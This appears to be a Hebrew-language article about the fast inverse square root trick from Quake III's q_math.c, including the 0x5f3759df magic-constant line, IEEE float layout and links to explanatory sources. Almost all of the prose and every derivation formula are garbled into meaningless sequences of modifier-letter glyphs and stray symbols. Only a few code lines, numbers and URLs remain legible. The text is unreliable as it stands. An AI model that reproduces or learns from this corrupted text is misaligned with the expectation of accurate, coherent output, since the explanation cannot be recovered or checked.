˸˞˴˪ ˶˲˯ˬ ˢ˲˧ ˞˪˞ ˣˢ˷ˬ ˧˞π˧˪ˮˣ˧˴˶ ˞˴ˬˮ˷ ˧˞ ˫˷ ˭˧˟ н ˪πо. 

ˣˮ˥ˮ˞ ˫˧˟ˢˣ˞ ˫˧ˬ˸˧˶ˠˣ˪ ˧˩ ˫ˢ ˫˧˰˴˟ˬ ˭˧˰ˬ Ϧˢˡ˶ˣˢ ˸ˠ˶ˡ˟ ˧˷ˣ˵ˢ Ϧ˸ˣ˪ˣ˰˲˪ ˸ˣ˧ˮˣ˟˷˥ ˸ˣ˩˟ˣ˯ˬ Φ˪˲˩ 

˵ˣ˪˧˥ˣ ˫˧˩˲ˣˢ ˸ˣ˧ˢ˪ ˶ˣ˟˧˥ ˣ˯˧˥ˣ ,˶ˣ˪˧˞ˣ ˢ˞˪˰ˢ ˢ˵ˤ˥˟ ˸˞˴ˣˢˣ ˷˶ˣ˷ ˸ˣ˩˲ˣˢ ˸ˣ˧ˢ˪ ˪˲˩ ˵ˣ˪˧˥ˣ Φˢˮˢ 

˫˧˪˪˩ˢ ˫˧ˬ˧˞˸ˬˢ: 

ÌÏÇÁϽÂ ÌÏÇÁ  ÌÏÇÂ 

ÌÏÇ
Á

Â
ÌÏÇÁ  ÌÏÇÂ 

ÌÏÇÁ ÎÌÏÇÁ 

ÌÏÇЍÁ  ÌÏÇÁ ˷ ˨˩ˬ ˰˟ˣˮ ˫˴˰˟ ˢˤ)-Ѝὥ
ˬ
  ˞ˣˢὥ( 

˫˧ˬ˧˟ ˣ˶˟˰ Σ˧ˮ˲˪ ˸˞˴ˬˢ ˭ˣ˟˷˥ˬˢ Σˣ˷ˬ˸˷ˢ ˟˸ˣ˞˪˟˦ ˫˧ˬ˸˧˶ˠˣ˪ ˧ˡ˩ ˰˴˟˪ ˫˧˟ˣ˷˧˥ ˫˧˩˟ˣ˯ˬ Υ˸˪˟˦ 

˫˧ˬ˸˧˶ˠˣ˪ ˢ˪˪˩ ˫˧˩˶˰ ˪˷ ˫˧˶˲˯ˬ ˫ˡ˧˪ˣ ˸˞ ˨˶˰ˢ ˪˷ ˫˸˧˶ˠˣ˪ˢ ˫ˢ˪˷ Φ˫˞ ˧˸˧˧ˢ ˢ˴ˣ˶ ˰˴˟˪ ˢ˪ˣ˰˲ 

˸˩˟ˣ˯ˬ ˣˬ˩ ˪˲˩ мну ˟πрмн ˢˬ ˧˸˧˧ˢ˷ ˢ˷ˣ˰ ˞ˣˢ ˪˩˸˯ˢ˪ ˸˪˟˦˟ ˧ˬ˸˧˶ˠˣ˪ˢ ,˫˸ˣ˞˶˪ ˫˧ˬ˸˧˶ˠˣ˪ˢ˷ 

˪˷ ˧ˮ˷ ˫˧˶˲˯ˬˢ ˣ˪˪ˢ ˫ˢ т xπф ,ˢˬ˞˸ˢ˟ ˶˟˥˪ ˸˞ т xπф ˸˪˟˵˪ мс ,ˤ˞ˣ ˪˩˸˯ˢ˪ ˸˪˟˦˟ ˫˧ˬ˸˧˶ˠˣ˪ˢ 

˸ˣ˞˶˪ˣ ˶˲˯ˬˢ˷ ˫˸˧˶ˠˣ˪ˢ˷ ˣ˪˷ ˞ˣˢ мс ˞ˣˢ ˶˲˯ˬˢ сррос Φˣ˧ˢ ˫ˠ ˫˧˪˩ ˫˧ˡ˥ˣ˧ˬ ˫˷˟ ˧˪ˠ˶˯ 

http://h14s.p5r.org/2012/09/0x5f3759df.html
http://h14s.p5r.org/2012/09/0x5f3759df.html
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˟ˣ˷˧˥ ˣ˰˧˧˯˷ ˸ˣ˷˰˪ ˸˞ ˟ˣ˷˧˥ˢ ˢˤˢ Φˢ˶ˣ˴˟ ˣˤˢ ˫ˮˬ˞ ˢ˷˶ˡˮ ˢˡˣ˟˰ ˸˧ˮˣ˷˞˶ ˢ˶˧˴˧˟ ˪˷ ˸˪˟˦ 

˫˧ˬ˸˧˶ˠˣ˪ˢκ˪ˠ˶˯ ˣ˷˧˥ˢ ,˟˪˟˞ ˢˡˣ˟˰˟ ˸˧ˬˣ˧ˬˣ˧ˢ ˫ˢ ˣ˩˯˥ ˢ˟˶ˢ ˟˞˩ ˷˞˶ ˰ˣ˴˧˟˟ ˸ˣ˪ˣ˰˲ ˭ˣ˟˷˥ Φˢˬ 

˧ˮ˞˷ ˢ˴ˣ˶ ˶ˬˣ˪ ˭˞˩ ˞ˣˢ ˫˧ˬ˸˧˶ˠˣ˪˷ ˢˤ ˶˟ˡ ˞˪˲ˮ ˫˧ˡˬˣ˪˷˩˷ ˣ˸ˣ˞ ˭ˣ˩˧˸˟ ˫˧ˬ˰˲˪ ˪˪˩˟ ˞˪ ˫˧ˮ˧˟ˬ 

˪˧˟˷˟ ˢˬ ˞ˣˢ ˟ˣ˦. 

ˢ˶˵ˬˢ ˧˥˩ˣˮˢ ˫˪˷ˣˬ ˶ˣ˟˰  ˫˧ˬ˸˧˶ˠˣ˪. 
Ѝ

  xʕ ˨˶ˡ ˸˶˥˞ ˟ˣ˸˩˪  ὼ ˪˧˰˲ˮ ˪˰ ˢˤ ˫˸˧˶ˠˣ˪ 

˪˟˵ˮˣ .ÌÏÇὼ ÌÏÇὼ ˤ˞ ˸ˬ˶˟ ˫˧ˬ˸˧˶ˠˣ˪ˢ ˪˩ ˸˪ˣ˰˲ ˟ˣ˷˧˥ˢ ˸˩˟ˣ˯ˬˢ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˰˴˟˪ 

˞˧ˢ ˨˯˟ ˪˩ˢ ˪˲˩ ˯ˣˮ˧ˬ˟ ˧˴˥ Φˢˬˣ ˣˡ˧ˠ˸ Κ˪˲˩ ˢˤ˩ ˰˴˟˸ˬ ˪˰ˣ˲˟! 

i = 0x5f3759df  -  (  i >> 1 );  // what the fuck?  

ˣˬ˪˰˸˸ ˰ˠ˶˪ ˰ˣ˟˵ˢˬ ˧˶ˣ˸˯ˬˢ ˣˮ˪˷ Φˢˬ ˷˧˷ ˱ˠ˞˟ ˭˧ˬ˧ ˞ˣˢ  .˪˧˟˷˟ ˸ˣ˞˶˪ ˸˞ ˢˤ ˧ˮ˞ ˨˧˶˴ 

˶˧˟˯ˢ˪ ˱ˣ˯ ˱ˣ˯ ˢˬ ˶ˬˣ˞ sπм>> ˢˤˢ Φ˭˩˟ˣ, ҔҔ ˢˤ ˶ˣ˦˶˲ˣ˞ ˪˰˲ˣˬ˷ ˪˰ ˶˲˯ˬ ˫˪˷ ˰˴˟ˬˣ ˢˤˤˢ 

ˢˮ˧ˬ˧ ˪˷ ˫˧˦˧˟ˢ ˣ˪˷ Φπsм ˡ˴ˬ˷ ˭˧ˬ˧ ˪˷ ˶ˣ˦˶˲ˣ˞ˢ ˶ˬˣ˞ ˢˬ˩ ˤ˧ˤˢ˪ ˢˮ˧ˬ˧ - м ˣ˷ˣ˶˧˲ ˤ˧ˤˢ˪ ˵ˣ˧ˡ˟ ˫˰˲ 

˸˥˞ Φˬˣ˪˩ ,˶˶˲˯ˬˢ 01100110 ˨ˣ˲ˢ˧ ˸ˣ˧ˢ˪ ˶˲˯ˬˢ 00110011 ˭˩ˣ ˢ˞˪ˢ Φ˪˰ˣ˲˟ ˢ˪ˣ˰˲ˢ ˣˤˢ ˸˰˴˟ˬ 

ˢ˵ˣ˪˥ ˟πн ˪˷ ˶˲˯ˬˢ ˫˪˷ˢ ύ˫˰ ˪ˣˠ˧˰ ˢ˦ˬ˪ ˢ˶˵ˬ˟ ˫˧˪˟˵ˬ˷ ˶˟˷ Φό˫˞ ˩ ,˭ˢˬ ˢ˶ˣ˷ˢ˷ ˸˧˶ˣ˸˯ˬˢ 

ˣˤˢ ˞ˣˢ ˞ˣˢ ˪ˣ˲˩˪ ˸˞ i ˯ˣˮ˧ˬ˟ ˧˴˥ ˱˧˯ˣˢ˪ˣ x˪ ˸˞ ˰ˣ˟˵ˢ ˧˶ˣ˸˯ˬˢ ˶ˣ˸˟Χ ˞˪ ˧˶ˬˠ˪ ˶ˣ˶˟ ˶ˣ˸˟ ˢˬ ˭˧˧ˡ˰ Φ

ˤ˞ ˣ˞ˣ˟ ˨˧˷ˬˮ ˫˰ ˫˧˦˶˲ˢ. 

˵˶˲ ˧˰˧˟˷ )ˣ˟˷ ˢˬˣ˪˰˸ˢ ˢ˞˟ ˪˰ ˢˮˣ˶˸˲ ˫˧˞˶ˣ˵ˢˣ ˫˧ˮˮˣ˪˸ˬ ˪˰ ˧˦ˮ˞π(˯˵ˬ˧˧˪˵ 

˸˰˩ ,ˣˮ˶ˬ˞ ˶˲˯ˬ˷ float ˠ˴ˣ˧ˬ ˪˰ ˧ˡ˧ ˦˧˟ ˡ˥˞  ˪˷sˣ˧˶˥˞ , ˫˧˦˧˟ ˪˷ Ὁ ˶˥˞ˣ ˨˩ ˫˧˦˧˟ ˪˷ M. ˫˧˦˧˟ˢ 

˪˷ M ˫ˢ ˧ˮˣ˷˞˶ˢ,˫ ˭˩˪ˣ ˫ˢ ˭˩˞ ˫˧ˠ˴˧˧ˬ ˵ˣ˧ˡ˟ ˸˞ ˶˲˯ˬˢ MΦ ˫˧˦˧˟ˢ Ὁ ,˸ˬˣ˰˪ ˞ˤ ,˸˫˧˪˧˥˸ˬ ˪˥ˢ 

˫ˣ˵ˬˢˬ sπнп Φ˫˞ ˦˧˟ˢ ˫ˣ˵ˬ˟ sπм ˠ˴˧˧ˬ ˸˞ ˢ˶˲˯ˢ ˢˬ˧˞˸ˬ˷ ˪π20 ˧˶ˢ ˦˧˟ˢ˷ ˫ˣ˵ˬ˟ sπнп ˠ˴˧ˬ ˸˞ 

ˢ˶˲˯ˢ ˢˬ˧˞˸ˬ˷ ˪π223˭˩˪ˣ , Ὁ ˠ˴˧˧ˬ ˸˞ :˶˲˯ˬˢ 

ς Ὁ ς Ὁ Ễ ς Ὁ ς Ὁ ςὉ Ễ ςὉ ς ϽὉ 

ˣ˯˟˪ˣ ,˱˦˧˟ˢ s ˪˷ ˭ˬ˧˯ˢ ˠ˴˧˧ˬ ˸˞231  Φˬˣ˪˩,˶ ˶˲˯ˬˢ ˣ˪ˣ˩ ˷˶˲˸ˬ ˶ˣ˸˟ sπlong ˞˟ˢ Υς ί ς Ὁ

ὓ ˰ˣ˲˟,˪ ˶˷˲˞ ˫˪˰˸ˢ˪ ˦˧˟ˢˬ s ˪˷ ˭ˬ˧˯ˢ Υ˸˞˴ˣˢ ˷˶ˣ˷ ˞˧ˢ ˢ˪ˣ˰˲ ˣˮ˥ˮ˞˷ ˫˧˰˴˟ˬ ˵˶ ˶ˣ˟˰ 

˫˧˶˲˯ˬ ˧˧˟ˣ˧˥ ,˫˭˩˪ˣ ˭ˬ˧˯ˢ ˪˷ sπfloat ˞ˣˢ ,˧˟ˣ˧˥ ˢˬ ˶ˬˣ˞˷ ˷π s=0˪˩˟ ˢˬ ˢ˷˰ˮ˷ Φ˪˰ ˭˩ ˶˲˯ˬˢ 

˷˶˲˸ˬ ˶ˣ˸˟  LẗE+M ˶˷˞˩  L=223 ˞ˣˢ ˰ˣ˟˵ ˶˷˲˞˧˷ ˣˮ˪ ˞ˣ˶˵˪ ˶˸ˣ˧ ˸ˣ˪˵˟ ˭˞˩ˬ ˨˪˧˞ˣ Φˣ˶˩ˤ ˶˲˯ˬˢ˷ 

˧˶ˣ˵ˬˢ ˶ˣ˸˟ float ˢ˧ˢ  ὼ ρ ςΦ ˸˪˞˷ˮ ˸˰˩ ˢ˪˞˷ˢ - ˡ˰ ˢˬ˩ LẗE+M ˢˤˢ ˭˩˞ ˢ˧ˢ˧ ˢˬˣˡ 

˪?ÌÏÇὼ- ˨˶ˣ˴˪ ˨˩ ˧˞ˡ˩ ˪˟˵˪ ˢ˩˶˰ˢ ˧ˢ˷˪˩ ˨˶˰˪  ˪˷ÌÏÇὼ, ˨˶ˣ˴˪ˣ ˨˩ ˧ˮ˞ ˷ˬ˸˷˞ ˟˟ˣ˶˧˵ ˶˩ˣˬ 

ˢ˵˧˦ˬ˸ˬ˟ Υˢˤ ˰ˣˡ˧ ˶˷˞˩˷ t ˞ˣˢ ˭˦˵ ,˸˧˯˥˧ ˤ˞  ÌÏÇρ ὸ ὸ )˫˧ˮ˧˧ˮˣ˰ˬ˪ Σˢˤ ˰˟ˣˮ ˥ˣ˸˧˲ˬ ˶ˣ˪˧˧˦ 

˪˷ÌÏÇρ ὸ  ˢ˶˵ˬ˟  ,ˣˮ˪˷  ˞ˣˢ ˭˦˵  ˸˧˯˥˧)˧˩ ˪ˣˡˠˢ ˪˷ M ˫ˣ˯˥ ˪˰ ˧ˡ˧ Lό ˭˩˪ˣ ˶˷˲˞ ˷ˬ˸˷ˢ˪ 
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˟ˣ˶˧˵˟ÌÏÇρ   Φˡ˴ˬ ˮ˷,˧ ˭˧˞ ˢ˟˧˯ ˷ˬ˸˷ˮ˷ ˟ˣ˶˧˵˟ ˢˤˢ ˭˲ˣ˞˟ ˶ˣˣ˧˰ ˦ˣ˷˲ˣ ˫˪˰˸ˮ ˨˩ˬ ˧˪ˣ˞˷ 

˧˞ˡ˩ ˱˧˯ˣˢ˪ Ϧ˭ˣ˵˧˸ Ϧˣˢ˷˪˩ ˢ˴˲˧˷ ˪˰ ˫˧˵˪˥ˢ ˣˮ˲˰ˢ˷ ˟ˣ˶˧˵ˢˬ Φˤ˞ ˶˧ˡˠˮ ˶˦ˬ˶˲ ̀  ˸˞˷ ˨˶˰ˢ ˣ˪˷ 

˪˩ˣˮ ˶ˣ˥˟˪ ˭˲ˣ˞˟ ˧˸ˣ˶˧˶˷ ˷ˬ˸˷ˮˣ ˟ˣ˶˧˵˟ :˞˟ˢ ÌÏÇρ ʎ˞˪ ˧˶ˬˠ˪ ˶ˣ˶˟ ˟˪˷˟ ˢˤˢ ˣ˪˧˞ 

˫˧˩˶˰ ˪˷ ̀  ˫ˢ ˫˧˟ˣ˦ ˣˮ˪ ˢˤ˧˞ˣ ˞˪ ύ˧˪ˣ˞ˋҐл  ˞ˣˢ ˟ˣ˦ όΚ˭˩˪ˣ ˣˮ˥ˮ˞ ˞˪ ˫˧˟˧˧˥˸ˬ ˪˰ ˨˶˰ ˧˲˧˴˲˯ ˣ˶ˣ˟˰. 

˪˟˵ˮ ,˸˰˩ ˸ˣ˧ˣˢˤˢˬ ˸ˣ˶ˣ˷˵˷ ˫˸˧˶ˠˣ˪˟ ˣˮ˧˞˶˷ ˢ˪˰ˬ˪ ˸˞ ˶˟ˡˢ ˞˟ˢ: 

ÌÏÇὼ ÌÏÇρ
ὓ

ὒ
ς ÌÏÇρ

ὓ

ὒ
ÌÏÇς

ὓ

ὒ
„ Ὁ ὄ 

ˣ˧˷˩˰ Σ˫˞ ˭ˬ˯ˮÙ
Ѝ

 , ˧˶ˢ ˷y- ˞ˣˢ ˶˲˯ˬˢ ˣˮ˥ˮ˞˷ ˫˧˷˲˥ˬ Φˠˣ˴˧˧˟ ˪˰ ˧ˡ˧ ˢˡˣ˵ˮ ˢ˲˴ ˫ˠ ˞ˣˢ ˷ˬ˸˷˧ 

˦ˬ˶˲˟ ˫˧˶M,E˟˞ ,ˣ˪˞˩ ˪ ˣ˧ˢ˧˷ ˫˧ˮˣ˷ ˣ˪˞ˬ ˪˷ .x ˭˩˪ ˷ˬ˸˷ˮ ˫˧ˮˣˬ˧˯˟ ˧ˡ˩ ˪˧ˡ˟ˢ˪ ˫ˢ˧ˮ˧˟ Υ

˸˞ M,E ˧˸˷ˬ˸˷ˢ˷ ˫ˢ˟ ˡ˰ ˢ˩ ˭ˬ˯˞ ˣ˧˷˩˰ˬ ˟-Ὁ x-ὓ ˣ˪˧˞ˣ ˸˞ ˦ˮˮˣ˲˯˵˞ˢ ˢ˯˧˦ˮˬˢˣ ˪˷y  Σ

˫˸ˣ˞˷ ˧ˮ˞ ˲˥ˬ ,˷˭ˬ˯˞ ˟-Ὁ x-ὓ ˣ˸ˣ˞ ˟ˣ˷˧˥ ˣˬ˩ ˫ˡˣ˵ ˡ˟ˣ˰ ˫ˠ ˶ˣ˟˰ yy, ˭˩˪ˣ ˷˧ ˣˮ˪ ˣ˧˷˩˰ ˷ˣ˪˷ 

˸ˣ˞ˣˣ˷ˬ: 

ÌÏÇὼ
ὓ

ὒ
„ Ὁ ὄ 

ÌÏÇώ
ὓ

ὒ
„ Ὁ ὄ 

ÌÏÇώ
ρ

ς
ÌÏÇὼ 

˟˪˷ˮ ˸˞ ˸ˣ˞ˣˣ˷ˬˢ ˣ˪˪ˢ ˡ˥˧: 

ὓ

ὒ
„ Ὁ ὄ

ρ

ς

ὓ

ὒ
„ Ὁ ὄ  

˶˧˟˰ˮ ˸˞ ˫˧˰ˣ˟˵ˢ ̀ Σ. ˱ˠ˞ ˪˟˵ˮˣ: 

ὓ

ὒ
Ὁ ὄ

ρ

ς
ὄ „

ρ

ς
„

ρ

ς

ὓ

ὒ
Ὁ  

˶ˬˣ˪˩: 

ὓ

ὒ
Ὁ

σ

ς
ὄ „

ρ

ς

ὓ

ὒ
Ὁ  

˫ˣ˧˯˪ ,˪ˣ˲˩ˮ ˸˞ ˧ˮ˷ ˫˧˲ˠ˞ˢ ˟-L :˪˟˵ˮˣ 

ὓ ὒὉ
σ

ς
ὒὄ „

ρ

ς
ὓ ὒὉ  
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ˣ˞˶˸ˣ ˢˬ ˣˮ˪˟˧˵ Η-s ὓ ὒὉ  ˱ˠ˞˟ ˭˧ˬ˧ ˞ˣˢ ˵ˣ˧ˡ˟ ˨˶˰ˢ ˪˷ ˶˲˯ˬˢ ˣˮˬˬ˷ ˮ˪˥˸ˢ ,ˣ˫˧˷˶˲ˬ˷˩ ˸˞ 

˫˧˦˧˟ˢ ˣ˪˷ ˶ˣ˸˟ ;long ˨˶˰ˢˣ ˱ˠ˞˟ ˪˞ˬ˷ ˞ˣˢ ˶˲˯ˬ ˫˞˷ ˷˶˲ˮ ˸˞ ˫˧˦˧˟ˢ ˣ˪˷ ˶ˣ˸˟ float ˤ˞ 

ˢ˯˧˦ˮˬˢ ˣ˪˷ ˢ˧ˢ˸ ὓ  ˦ˮˮˣ˲˯˵˞ˢˣ ˣ˪˷  ˢ˧ˢ˧Ὁ .ˢˤ ˫ˠ ˵ˣ˧ˡ˟ ˢˬ ˫˧˷ˣ˰˷ ˢ˶ˣ˷˟ ˢ˞˟ˢ: 

y = *  (  float  *  )  &i ;  

˪˰ˣ ˭˩ Σˢ˞ˣˣ˷ˬˢ ˪˧˰˪˷ ˞˧ˢ ˵ˣ˧ˡ˟ ˢˬ ˢ˥ˮˬ˷ ˸˞ ˸˶ˣ˷ sπwhat the fuck?ˢ˰ˣˡ˧ˢ ˢ˴ˬ˷˪: 

i = 0x5f3759df  -  (  i >> 1 );  // what the fuck?  

ˢˤ ˶˧˟˯ˬ ˢˬ˪ ˞˧ˢ ˸˧˞˶ˮ ˢ˩˩ ˫ˠˣ ˣˢ˧ˬ ˰ˣ˟˵ˢ ˧˶ˣ˸˯ˬˢ Υ˞ˣˢ ˦ˣ˷˲ ὒὄ „  Φˣ˶˩ˤ ˷L- ˞ˣˢ ˦ˣ˷˲ 

˶˲˯ˬˢ 223 ˣB- ˞ˣˢ ˶˲˯ˬˢ 127 π ˣ˪˞ ˫˧˶˦ˬ˶˲ ˫˧˰ˣ˦ˮ˷ ˵ˣˬ˰ ˢ˶ˡˠˢ˟ ˪˷ sπIEEE ˣˢˬ˪float  ,˪˟˞ ˫ˠ 

˫˞ ˫˧˩˶˰ˢ ˫ˢ˪˷ ˣ˧ˢ ˫˧ˮˣ˷ ˣˮ˧˧ˢ ˭˧˧ˡ˰ ˫˧˪˟˵ˬ ˢ˞ˣˣ˷ˬ ˬˣˡ ,ˢ˵˶ ˫˰ Ϧ˰ˣ˟˵ ˧˶ˣ˸˯ˬ Ϧˢˮˣ˷. 

˭˟ˣˬ˩ ˣ˧˷˩˰˷ ˸˪˞˷ˮ ˢ˪˞˷ˢ ˢˤ˧˞ ˨˶˰ ˪˷ ˶˦ˬ˶˲ ̀  ˨˪ˣˢ ˸˸˪ ˸˞ ˰ˣ˟˵ˢ x5f3759dfл ˨ˣ˸ 

˧ˣ˦˧˟ˢ ὒὄ „  Φˢ˟ˣ˷˸ˢ ˞˧ˢ ˢˤ˷ˋҐлΦлпрлпср  ,˪˟˞ ˢˤ ˫˴˰˟ ˞˪ ˶ˬˣ˞ ˣˮ˪ ˫ˣ˷ ˶˟ˡ Φ˭˞˩ ˫˴˰˟ 

˰˧ˠˬ ˵˪˥ˢ ˟ˤ˩˞ˬˢ ˶˸ˣ˧˟ ˪˩˟ ˶ˣ˲˧˯ˢ - ˧ˬ ˢ˲˴˧˷ ˸ˣ˞˶˪ ˢˤ˧˞ ˭ˣ˧ˠˢ ˧ˬ˯ˣ˵ ˣ˸ˣ˩ˤ˟˷ ˶˴ˣˮ ˞˵ˣˣˡ ˶˲˯ˬˢ 

x5f3759dfл ˞˪ˣ ˫˧˶˥˞ ˞˪ ˞˴ˬ˧ ˣ˸ˣ˞ - ˢˤ ˪˩˩ ˢ˞˶ˮˢ ˶˲˯ˬ ˟˸ˣ˩˷ ˡˣ˵ˢ ˰˧ˠˢ ˣ˧˪˞ ˧˶˥˞ ˸˴˵ ˧ˣ˯˧ˮ 

ˢ˧˰˦ˣ - ˢ˞˶ ˞ˣˢ˷ ˡ˟ˣ˰ ˵˧˲˯ˬ x˦ ,˟˞˪ˣ ˢ˯˧ˮ ˶˲˷˪ ˶˸ˣ˧ Φ˭˧˧ˡ˰ ,˫˞ ˣˢ˷˧ˬ ˢ˴ˣ˶ ˥ˣ˸˧ˮ ˸˴˵ ˶˸ˣ˧ ˦˶ˣ˲ˬ 

˪˷ ˫˧˩˶˰ ˫˧˧˶˷˲˞ ˧˶˥˞ ,˫˶˷˲˞ ˪˩˸˯ˢ˪ ˢˤ˸˟ ˣˤˢ ,˪˪˩˟˷ ˸˰ˮˬˮ ˷ˣˬ˧˷ˬ ˫˧ˬ˸˧˶ˠˣ˪˟ ˸˪˩˸˯ˬˣ 

ˢ˶ˣ˴˟ ˸˷˶ˣ˲ˬ ˡˣ˞ˬ ˪˰ ˪ˡ˟ˢˢ ˨ˣ˸˟ sπfloat ˸ˣˬ˶ˣˠ˷ ˸ˣ˪ˣ˰˲ˢ ˫˧˰˴˟ˬ˷ ˣ˧˪˰ Φ˫˧˶˧˟˯ˬ ˷ ,˫,˪˷ˬ˪ 

ˢˬ˪ ˰ˣ˟˵ ˭˸ˣˮ˷ ˨˶˰ ˟ˣ˦ ˶˸ˣ˧ ˶ˣ˸˟ ˟ˣ˶˧˵ˢ ˧˶˥˞ ˢ˶ˣ˷ˢ ˣˤˢ ˞ˣˢ ˸ˣ˥˲ ˟ˣ˦ ˭˲ˣ˞˟ ˪˪˩ ,˧˧˩ ˭ˣ˦ˣ˧ˮπ˭ˣ˯˲˶ 

˶˧ˤ˥ˬ ˣ˧˪˰ ˢ˞˴ˣ˸ ˸ˣ˥˲ ˡˬ˥ˮ ,ˢ˫ˠˣ ˫˧ˮ˸ˣˮ ˨˶˰ ˟ˣ˦ ˶˸ˣ˧ ˬπx5f3759dfл ˶ˣ˸˟ ˰ˣ˟˵ ˫˯˵ ˧˶ˣ˸˯ˬ ˶ˣ˟˰ 

ˢ˧˴˵ˮˣ˲ˢ Φ˧˸ˮ˧˥˟ˬ ˢˤ ˪˯˥ˬ ˸˞ 0x5f3759df ˭˩˯ˬˢ ˧˶ˬˠ˪ - ˞ˣˢ ˞˪ ˪˩ ˨˩ ˭˧˧ˮ˰ˬ ˫˞ ˢ˶˧˥˟ˢ x˟ ˢ˸˧˧ˢ 

˪˩ ˨˩ ˸˧˸ˣ˶˧˶˷ Φ˧˪ˣ˞ ˫ˣ˧ ˡ˥˞ ˢˡ˟˸˞ ˢ˪ˠ˞ˣ ˞ˣˢ˷ ˶˥˟ˮ ˸ˣ˟˧˯ˬ ˸ˣˮ˧˧ˣ˴ˬ ˧ˮ˧˞˷ ˶˧˩ˬ. 

  

https://cs.uwaterloo.ca/~m32rober/rsqrt.pdf
https://cs.uwaterloo.ca/~m32rober/rsqrt.pdf
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˵˶˲ ˧ˮ˧ˬ˷ ύˣ˟˷ ˣˮ˥ˮ˞ ˫˧ˢˣ˸ ˪˧˟˷˟ ˢˬ ˪˩ ˢˤ ˢ˧ˢ (˟ˣ˦ 

˶ˣ˲˧˯ˢ ˣˮ˪˷ ˟˶˵˸ˬ ˲ˣ˯˪ ,ˣ˪˟˞ ˧ˮ˞ ˢ˴ˣ˶ ˶˧˩ˤˢ˪ ˢˬ˪ ˪˪˩˟ ˣˮ˯ˮ˩ˮ ˣ˧˪˞ ˢ˪˧˥˸˩˪ˬ Φˣ˩ˤ˩,˶ ˫˷ ˵˥˷ˬˢ 

˞ˣˢ ˢ˵˧˲˶ˠ Φˢ˵˧˲˶ˠˢ ˣˤˢ: 

 

˪˧˟˷˟ ˶˴˧˧˪ ˢ˵˧˲˶ˠ ˢ˲˧ ˣˤ˩˷ ˨˧˶˴ ˸˰ˡ˪ ˟˷˥˪ ˪˩ ˧ˮˬ ˫˧˟ˣ˷˧˥ Φ˪˷ˬ˪ ,˨˧˞ ˶ˣ˞ ˱˵˸˷ˬ ˪˩ˬ ˧ˮˬ 

˫˧˥˦˷ˬ Φˣˮ˧˧ˢ˷˩ ˧ˬ˧˟ Wolf3D ˫˧ˤ˧˪˰ˢ ˪˩ ˫˧˥˦˷ˬˢ ˣ˧ˢ ˫˧˦ˣ˷˲ ˡˣ˞ˬ - ˸ˣ˶˧˵ ˣˡˬ˰˷ ˸˧ˣˣˤ˟ ˪˷ фл 

˸ˣ˪˰ˬ ˯˥˧˟ ˢ˲˴˶˪ ˣˢˤˣ Φ˪˟˞ ˫˪ˣ˰˟ ˸˪˸π˧ˡˬˬ ˢ˞˶ˮ˷ x˦ ,˟ˢˤ ˞˪ ˟˴ˬˢ Φ˷˧ ˫˧˥˦˷ˬ ˧ˮˣ˯˩˪˞˟,˫ ˷˧ˣ 

˫˧˥˦˷ˬ ˫˧˪ˠˣ˰ˬ ˡˣ˰ˣ ˡˣ˰ˣ Φ˫˧˴ˣ˶˷˩ ˟˷˥˪ ˨˧˞ ˠˢˮ˸˸ ˭˶˵ ˶ˣ˞ ˸˰ˠˣ˲˷ ˥˦˷ˬ˟ ˢˡˣ˵ˮ˟ ˢ˷˪˩,˧ ˣˮ˥ˮ˞ 

˫˧˩˧˶˴ ˸˰ˡ˪ ˣˢ˷ˬ ˪˰ Ϧ˭ˣˣ˧˩ˢ ˧ˬˣ˵ˬˢ Ϧ˪˷ ˥˦˷ˬˢ ˢ˸ˣ˞˟ ˢˡˣ˵ˮ Φ˭ˣˣ˧˩ˢ ˢˤˢ ˠ˴ˣ˧ˬ ˸ˣ˰˴ˬ˞˟ ˶ˣ˦˵ˣ 

ˢˡ˧˥˧ ˟˥˶ˬ˟ ˸˪˸ˢ ˧ˡˬˬϦ Φ˶ˣ˦˵ˣ ˢˡ˧˥˧ Ϧˣ˷ˣ˶˧˲ ˨˶ˣ˞ˢ˷ ˪˷ ˶ˣ˦˵ˣˢ ˞ˣˢ м Φˢˬ˪ ˞˵ˣˣˡ м Κ˧˩ ˸ˣ˪ˣ˰˲ 

˸ˣ˟˶˰ˬ˷ ˸˞ ˶ˣ˦˵ˣˢ ˢˤˢ ˸ˣ˷˶ˣˡ ˞ˣˢ˷ ˪˲˩ˣ˧ ˸˧˶˪˵˯ ˧˶˟ˡ˟ ,˫˫˞ˣ ˨˶ˣ˞ˢ ˣ˪˷ ˞ˣˢ ˞˪ м ˤ˞ ˞ˣˢ Ϧ˥˲ˮ˧ Ϧ

˸˞ ˫˧˶˟ˡˢ ˣ˪˪ˢ ˭˲ˣ˞˟ ˧˸ˣ˩˞˪ˬ Φ˪˰ˣ˲˟ ˢˬ ˢ˶ˣ˵˷ ˞ˣˢ ˫ˡˣ˵˷ ˪˩ ˫˧˞˴ˣˬ ˸˞ ˭ˣˣ˧˩ˢ ˪˷ ˶ˣ˦˵ˣˢ - ,˶ˬˣ˪˩ 

˫˧˞˴ˣˬ ˶ˣ˦˵ˣ ˣˢ˷˪˩ ˰˧˟˴ˬ˷ ˭ˣˣ˧˩˟ ,˭ˣ˩ˮˢ ˤ˞ˣ ˫˧˪ˬ˶ˮˬ ˸˞ ˶ˣ˦˵ˣˢ - ˫˧˵˪˥ˬ ˣ˸ˣ˞ ˨˶ˣ˞˟ ˪˷ ˣˬ˴˰ Φ

˫˞ v ˞ˣˢ ,˶ˣ˦˵ˣ ˤ˞ ˨˶ˣ˞ˢ ˣ˪˷  ˞ˣˢᴁὺᴁḯЍόϽό .˪˰ ˭˩ Σ˶ˣ˦˵ˣˢ  ˪ˬ˶ˣˮˬˢ  
ᴁᴁ

ˢˣˣ˷ ˪πὺϽ
Ѝ Ͻ

 .˯˲ˣˢ Η

ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˞ˣ˴ˬ˪ ˸˞ ˧˩˲ˣˢˢ ˪˷ ˷˶ˣ˷ ˪˷ ˣˢ˷ˬ! 

  

http://www.gadial.net/wp-content/uploads/2017/08/Quake-3-Torrent-3.jpg
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˫˞ ˫˧˪˩˸˯ˬ ˡˣ˵˟ ˫˧˷˲˥ˬˣ ˫˧˷ˣˬ˧˷ ˪˷ Q_rsqrt ˢˤ ˵ˣ˧ˡ˟ ˢˬ ˫˧˞˴ˣˬ˷ Φ˪˷ˬ˪: 

 

˰˧˲ˣˬ˷ ˳˟ˣ˵˟) q_math.c ˶˷˲˞ˣ ˸ˣ˞˶˪ ˰ˠ˶˩ ˭˞˩(. 

